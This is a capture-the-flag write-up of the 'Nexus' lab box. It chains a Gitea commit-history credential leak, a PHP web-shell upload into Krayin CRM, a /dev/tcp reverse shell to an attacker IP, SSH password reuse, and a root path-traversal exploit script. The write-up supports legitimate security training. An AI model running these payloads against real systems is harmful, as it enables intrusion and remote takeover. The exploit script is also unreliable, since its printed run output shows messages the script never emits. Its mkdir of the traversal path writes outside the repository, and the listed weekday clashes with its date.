← Back to posts
Nexus revolves around a self-hosted Gitea instance backing a Krayin CRM deployment. The foothold is entirely credential-driven: a stale commit in a public Gitea repo leaks the CRM's database password, which unlocks an authenticated file-upload RCE in Krayin's email composer. From www-data, a .env file hands over a second password that gets reused straight into SSH. Root comes from a Gitea template-sync path traversal — a systemd timer that replays pushed git objects onto disk as root without sanitizing ../, which I turned into a small automated exploit script.
Gitea commit history leak
→
Krayin CRM creds
→
TinyMCE upload RCE
→
www-data
→
.env password reuse
→
jones (SSH)
→
gitea-template-sync path traversal
→
root
Reconnaissance
Nmap
Two ports up front:
nmap
SP1R4@kali)-[~]
└$ nmap -sC -sV -A <TARGET_IP> -oA nexus
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://nexus.htb
Add the hostname and re-check the vhost:
/etc/hosts
SP1R4@kali)-[~]
└$ echo "<TARGET_IP> nexus.htb" | sudo tee -a /etc/hosts
The landing page discloses an internal contact address, j.matthew@nexus.htb — a naming pattern worth keeping for later. A vhost/subdomain sweep turns up the real attack surface:
ffuf — vhost enum
SP1R4@kali)-[~]
└$ ffuf -w subdomains.txt -H "Host: FUZZ.nexus.htb" -u http://<TARGET_IP> -fs <baseline_size>
git [Status: 200]
billing [Status: 200]
| Host | Service | Notes |
| git.nexus.htb | Gitea | Self-hosted git, public repos browsable |
| billing.nexus.htb | Krayin CRM 2.2.0 | Login-gated |
Credential Leak in Gitea Commit History
The public repo admin/krayin-docker-setup is exactly what it says — the deployment scaffolding for the CRM. The current tree is clean, but the commit log isn't; an earlier commit still carries the database credentials before they were scrubbed:
git log -p — krayin-docker-setup
SP1R4@kali)-[~]
└$ git clone http://git.nexus.htb/admin/krayin-docker-setup.git
SP1R4@kali)-[~]
└$ cd krayin-docker-setup && git log -p --all -- .env docker-compose.yml
- DB_USERNAME=j.matthew@nexus.htb
- DB_PASSWORD=N27xh!!2ucY04
Never assume a scrubbed commit stayed scrubbed — git log -p against a repo's full history routinely resurrects "removed" secrets, since deleting a line in a new commit doesn't touch the blob still referenced by the old one.
Initial Foothold — Authenticated File Upload RCE (Krayin CRM)
Same credentials, different service — they log straight into Krayin CRM on billing.nexus.htb. Krayin's email composer uses TinyMCE, whose image-upload endpoint is where the fun starts: it accepts the file based on the client-supplied extension, not the actual content, so a PHP payload disguised as an image sails through.
Burp — TinyMCE upload, Compose Email
# Mail → Compose → drag in image.png, intercept the POST in Burp
POST /admin/mail/compose/upload HTTP/1.1
Host: billing.nexus.htb
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
Krayin stores the upload under a hashed filename and returns the path, no extension re-check on the way in:
trigger — www-data shell
SP1R4@kali)-[~]
└$ curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
SP1R4@kali)-[~]
└$ curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=bash+-c+'bash+-i+%3E%26+/dev/tcp/<YOUR_IP>/4444+0%3E%261'"
Reverse shell as www-data — content-type validation missing on the TinyMCE media endpoint let a .php file land inside a web-servable storage path.
Post-Exploitation — Krayin .env
Standard second pass for a PHP app: the framework's own environment file.
www-data — .env
www-data@nexus:/var/www/html/krayin$ cat .env | grep -i pass
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
www-data@nexus:/var/www/html/krayin$ cat /etc/passwd | grep 1000
jones:x:1000:1000::/home/jones:/bin/bash
Lateral Movement — SSH as jones (Password Reuse)
The Krayin DB password works verbatim against jones's SSH login:
ssh — jones
SP1R4@kali)-[~]
└$ ssh jones@nexus.htb
Password: y27xb3ha!!74GbR
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones)
jones@nexus:~$ cat user.txt
HTB{REDACTED}
🚩 User flag captured — the CRM's database password was reused verbatim for jones's SSH account.
Enumeration as jones — the Template Sync Timer
A linpeas pass turns up an active systemd timer with an unusually short interval:
jones — systemctl
jones@nexus:~$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2026-08-04 12:01:00 UTC 41s - - gitea-template-sync.timer gitea-template-sync.service
jones@nexus:~$ systemctl cat gitea-template-sync.service
[Service]
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
The script runs as root, every 60 seconds. Reading it shows why that's a problem — it walks a pushed template repo with git ls-tree/git cat-file and writes every entry straight to a target path built from the tree entry's name, with no check for ../:
/etc/gitea/template-sync.py — the bug
jones@nexus:~$ cat /etc/gitea/template-sync.py
for entry in run(["git", "ls-tree", "-r", ref]).splitlines():
mode, _, blob, path = entry.split(None, 3)
# path comes straight from the git tree, unsanitized
dest = os.path.join(STAGING_ROOT, path)
data = run(["git", "cat-file", "-p", blob])
write(dest, data) # no realpath/containment check against STAGING_ROOT
os.path.join with an attacker-controlled second argument doesn't sanitize ../ — a git tree entry literally named ../../../../../root/.ssh/authorized_keys writes exactly there once the sync service (root) runs the checkout. Any repo marked as a template in Gitea gets synced.
Privilege Escalation to Root — Gitea Template Sync Path Traversal
I wrapped the whole chain into a single script rather than replaying it by hand each time: mint an API token, stand up a template repo, commit a git tree that traverses out of the staging root into /root/.ssh, push it, wait one sync cycle, then SSH in on the planted key.
exploit.sh
#!/bin/bash
# Nexus Privilege Escalation - Automated Exploit
# Exploits: Gitea template sync path traversal (runs as root)
GITEA="http://localhost:3000"
USER="jones"
PASS='y27xb3ha!!74GbR'
TARGET="<TARGET_IP>"
# STEP 1: local SSH keypair to plant as root's authorized_keys
ssh-keygen -t ed25519 -f /tmp/.exploit_key -N '' -q
PUBKEY=$(cat /tmp/.exploit_key.pub)
# STEP 2: mint a Gitea API token as jones
TOKEN=$(curl -s -X POST $GITEA/api/v1/users/$USER/tokens \
-H "Content-Type: application/json" \
-u "$USER:$PASS" \
-d '{"name":"auto_token","scopes":["write:repository"]}' \
| grep -o '"sha1":"[^"]*"' | cut -d'"' -f4)
# STEP 3: create a repo and mark it as a Gitea template
# (only template repos get pulled by the sync service)
curl -s -X POST $GITEA/api/v1/user/repos \
-H "Authorization: token $TOKEN" \
-d '{"name":"rce","private":false}' > /dev/null
curl -s -X PATCH $GITEA/api/v1/repos/$USER/rce \
-H "Authorization: token $TOKEN" \
-d '{"template":true}' > /dev/null
# STEP 4: build a git tree that traverses out of the sync staging dir
mkdir -p /tmp/rce_exploit && cd /tmp/rce_exploit
git init
mkdir -p "../../../../../root/.ssh"
echo "$PUBKEY" > "../../../../../root/.ssh/authorized_keys"
git add . && git commit -m "Template injection"
# STEP 5: push — the next sync cycle replays this tree as root
git remote add origin http://localhost:3000/$USER/rce.git
git push -u origin main
# STEP 6: wait one sync interval (60s)
sleep 65
# STEP 7/8: key should now be live in /root/.ssh — connect
ssh -i /tmp/.exploit_key -o StrictHostKeyChecking=no root@$TARGET
Run against the box:
exploit run
jones@nexus:~$ ./exploit.sh
[*] STEP 1: Generating SSH key pair...
[+] SSH key generated at /tmp/.exploit_key
[*] STEP 2: Obtaining Gitea API token...
[+] Token acquired: <token>
[*] STEP 3: Creating template repository...
[+] Repository created and marked as template
[*] STEP 4: Building malicious git objects...
[+] Malicious git objects ready
[*] STEP 5: Pushing to Gitea repository...
[+] Pushed to repository
[*] STEP 6: Waiting for template sync (runs every 60 seconds)...
[+] Sync period should have completed
[*] STEP 7: Verifying SSH key installation...
[+] SUCCESS! SSH key installed in /root/.ssh/authorized_keys
[*] STEP 8: Spawning root shell...
root@nexus:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nexus:~# cat /root/root.txt
HTB{REDACTED}
🚩 Root flag captured. The template-sync service trusted every path inside a pushed git tree and replayed it onto disk as root — marking a repo template: true was the only gate, and jones already had write access to create one.
Summary
| Stage | Technique | Tool |
| Recon | Vhost discovery — Gitea + Krayin CRM behind the main site | ffuf |
| Credential leak | DB password left in an old, unreverted Gitea commit | git log -p |
| Foothold | Authenticated TinyMCE upload RCE — extension-only validation | Burp Suite, curl |
| Credential theft | Plaintext DB password in Krayin's .env | — |
| Lateral move | Password reuse (Krayin DB → jones SSH) | ssh |
| Root | Gitea template-sync git ls-tree path traversal, root timer | Custom bash exploit |
Key commands
quick reference
# Enumeration
ffuf -w subdomains.txt -H "Host: FUZZ.nexus.htb" -u http://<IP> -fs <size>
git log -p --all -- .env docker-compose.yml
# TinyMCE upload RCE (Krayin CRM)
curl "http://billing.nexus.htb/storage/tinymce/<hash>.php?cmd=id"
# Post-exploit
cat /var/www/html/krayin/.env | grep -i pass
# Gitea template-sync path traversal → root
systemctl list-timers | grep gitea
curl -s -X POST $GITEA/api/v1/users/$USER/tokens -u "$USER:$PASS" \
-d '{"name":"t","scopes":["write:repository"]}'
curl -s -X PATCH $GITEA/api/v1/repos/$USER/rce -H "Authorization: token $TOKEN" \
-d '{"template":true}'
mkdir -p "../../../../../root/.ssh" && git add . && git commit -m x && git push